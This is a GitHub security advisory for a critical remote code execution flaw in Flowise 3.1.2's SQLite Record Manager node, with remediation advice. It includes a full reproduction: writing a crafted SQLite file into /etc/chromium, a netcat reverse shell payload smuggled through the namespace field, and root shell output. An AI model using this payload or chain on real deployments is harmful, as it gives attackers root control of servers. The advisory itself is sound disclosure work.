{"id":"GHSA-x3hf-7cj6-3r4m","summary":"Flowise RCE via SQLite Record Manager Node","details":"=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via SQLite Record Manager Node\n\nModule:         FlowiseAI/Flowise\nDisclosed:      24-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.\n\n# II.  Problem Description\n\nThe database path for the \"SQLite Record Manager\" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager_RecordManager implements INode {\n    ...\n    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise\u003cany\u003e {\n        const _tableName = nodeData.inputs?.tableName as string\n        const tableName = _tableName ? _tableName : 'upsertion_records'\n        const additionalConfig = nodeData.inputs?.additionalConfig as string \u003c1\u003e\n        const _namespace = nodeData.inputs?.namespace as string\n        const namespace = _namespace ? _namespace : options.chatflowid\n        const cleanup = nodeData.inputs?.cleanup as string\n        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string\n        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'\n\n        let additionalConfiguration = {}\n        if (additionalConfig) {\n            try {\n                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)\n            } catch (exception) {\n                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)\n            }\n        }\n\n        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') \u003c2\u003e\n\n        const sqliteOptions = {\n            database,\n            ...additionalConfiguration, \u003c3\u003e\n            type: 'sqlite'\n        }\n\n        const args = {\n            sqliteOptions,\n            tableName: tableName\n        }\n\n        const recordManager = new SQLiteRecordManager(namespace, args)\n\n        ;(recordManager as any).cleanup = cleanup\n        ;(recordManager as any).sourceIdKey = sourceIdKey\n\n        return recordManager\n    }\n}\n```\n\u003c1\u003e The `additionalConfig` input was user controllable.\n\n\u003c2\u003e The intended SQLite database path.\n\n\u003c3\u003e Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting.\n\nAn attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`.\n\nHowever, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager implements RecordManagerInterface {\n    ...\n\n    sanitizeTableName(tableName: string): string {\n        // Trim and normalize case, turn whitespace into underscores\n        tableName = tableName.trim().toLowerCase().replace(/\\s+/g, '_')\n\n        // Validate using a regex (alphanumeric and underscores only)\n        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { \u003c1\u003e\n            throw new Error('Invalid table name')\n        }\n\n        return tableName\n    }\n\n    ...\n\n    async createSchema(): Promise\u003cvoid\u003e {\n        const dataSource = await this.getDataSource()\n        try {\n            const queryRunner = dataSource.createQueryRunner()\n            const tableName = this.sanitizeTableName(this.tableName) \u003c1\u003e\n\n            await queryRunner.manager.query(` \u003c2\u003e\nCREATE TABLE IF NOT EXISTS \"${tableName}\" (\n  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),\n  key TEXT NOT NULL,\n  namespace TEXT NOT NULL,\n  updated_at REAL NOT NULL,\n  group_id TEXT,\n  UNIQUE (key, namespace)\n);\nCREATE INDEX IF NOT EXISTS updated_at_index ON \"${tableName}\" (updated_at);\nCREATE INDEX IF NOT EXISTS key_index ON \"${tableName}\" (key);\nCREATE INDEX IF NOT EXISTS namespace_index ON \"${tableName}\" (namespace);\nCREATE INDEX IF NOT EXISTS group_id_index ON \"${tableName}\" (group_id);`)\n\n            // Add doc_id column if it doesn't exist (migration for existing tables)\n            const checkColumn = await queryRunner.manager.query(\n                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`\n            )\n            if (checkColumn[0].count === 0) {\n                await queryRunner.manager.query(`ALTER TABLE \"${tableName}\" ADD COLUMN doc_id TEXT;`)\n                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON \"${tableName}\" (doc_id);`)\n            }\n\n            await queryRunner.release()\n        } catch (e: any) {\n            // This error indicates that the table already exists\n            // Due to asynchronous nature of the code, it is possible that\n            // the table is created between the time we check if it exists\n            // and the time we try to create it. It can be safely ignored.\n            if ('code' in e && e.code === '23505') {\n                return\n            }\n            throw e\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n\n    ...\n\n    async update(keys: Array\u003c{ uid: string; docId: string }\u003e | string[], updateOptions?: UpdateOptions): Promise\u003cvoid\u003e {\n        if (keys.length === 0) {\n            return\n        }\n        const dataSource = await this.getDataSource()\n        const queryRunner = dataSource.createQueryRunner()\n        const tableName = this.sanitizeTableName(this.tableName)\n\n        const updatedAt = await this.getTime()\n        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}\n\n        if (timeAtLeast && updatedAt \u003c timeAtLeast) {\n            throw new Error(`Time sync issue with database ${updatedAt} \u003c ${timeAtLeast}`)\n        }\n\n        // Handle both new format (objects with uid and docId) and old format (strings)\n        const isNewFormat = keys.length \u003e 0 && typeof keys[0] === 'object' && 'uid' in keys[0]\n        const keyStrings = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.uid) : (keys as string[])\n        const docIds = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.docId) : keys.map(() =\u003e null)\n\n        const groupIds = _groupIds ?? keyStrings.map(() =\u003e null)\n\n        if (groupIds.length !== keyStrings.length) {\n            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)\n        }\n\n        const recordsToUpsert = keyStrings.map((key, i) =\u003e [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) \u003c3\u003e\n\n        const query = `\n        INSERT INTO \"${tableName}\" (key, namespace, updated_at, group_id, doc_id)\n        VALUES (?, ?, ?, ?, ?)\n        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`\n\n        try {\n            // To handle multiple files upsert\n            for (const record of recordsToUpsert) {\n                // Consider using a transaction for batch operations\n                await queryRunner.manager.query(query, record.flat())\n            }\n            await queryRunner.release()\n        } catch (error) {\n            console.error('Error updating in SQLiteRecordManager:')\n            throw error\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n    ...\n}\n```\n\u003c1\u003e Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.\n\n\u003c2\u003e The SQL command creating the database table, which is not user controllable.\n\n\u003c3\u003e The `this.namespace` is a user controllable input for the node.\n\nSince the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.\n\n```\nBytes         Raw    Decoded\n──────────────────────────────────────────────────\n[3574:3575]   62     payload length = 98\n[3575:3576]   04     rowid = 4\n\n── Record Header ──────────────────────────────\n[3576:3577]   06     header length = 6\n[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')\n[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')\n[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') \u003c1\u003e\n[3580:3581]   01     col 3 = 1   → INT8 1 byte\n[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)\n\n── Record Body ────────────────────────────────\n[3582:3587]   696e646578     col 0 = 'index'\n[3587:3599]   646f635f69…    col 1 = 'doc_id_index'\n[3599:3616]   757073657274…  col 2 = 'upsertion_records'\n[3616:3617]   05             col 3 = 5  (root page = page 5)\n[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON \"upsertion_records\" (doc_id)'\n```\n\u003c1\u003e `\\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.\n\nThe length of the table name can be manipulated, and a serial type of `'` corresponds to a string that is 13 bytes long. The injected `'` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.\n\nThe following steps document the procedure to reproduce this issue:\n\n1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.\n\n[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)\n\n2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.\n\n[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 40677\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nps aux\nPID   USER     TIME  COMMAND\n    1 root      0:13 node /usr/local/bin/flowise start\n   18 root      0:00 [sh]\n   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC\n   31 root      0:00 /bin/sh\n   33 root      0:00 ps aux\n```\n \n# III. Impact\n\nAn authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.\n\n# IV.  Solution\n\nConsider performing the following remediation activities:\n\n* Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path.\n\n* Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.","aliases":["CVE-2026-69259"],"modified":"2026-08-04T16:26:02.691996Z","published":"2026-08-04T16:05:10Z","database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-04T16:05:10Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/pull/6464"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-x3hf-7cj6-3r4m/GHSA-x3hf-7cj6-3r4m.json"}},{"package":{"name":"flowise-components","ecosystem":"npm","purl":"pkg:npm/flowise-components"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-x3hf-7cj6-3r4m/GHSA-x3hf-7cj6-3r4m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}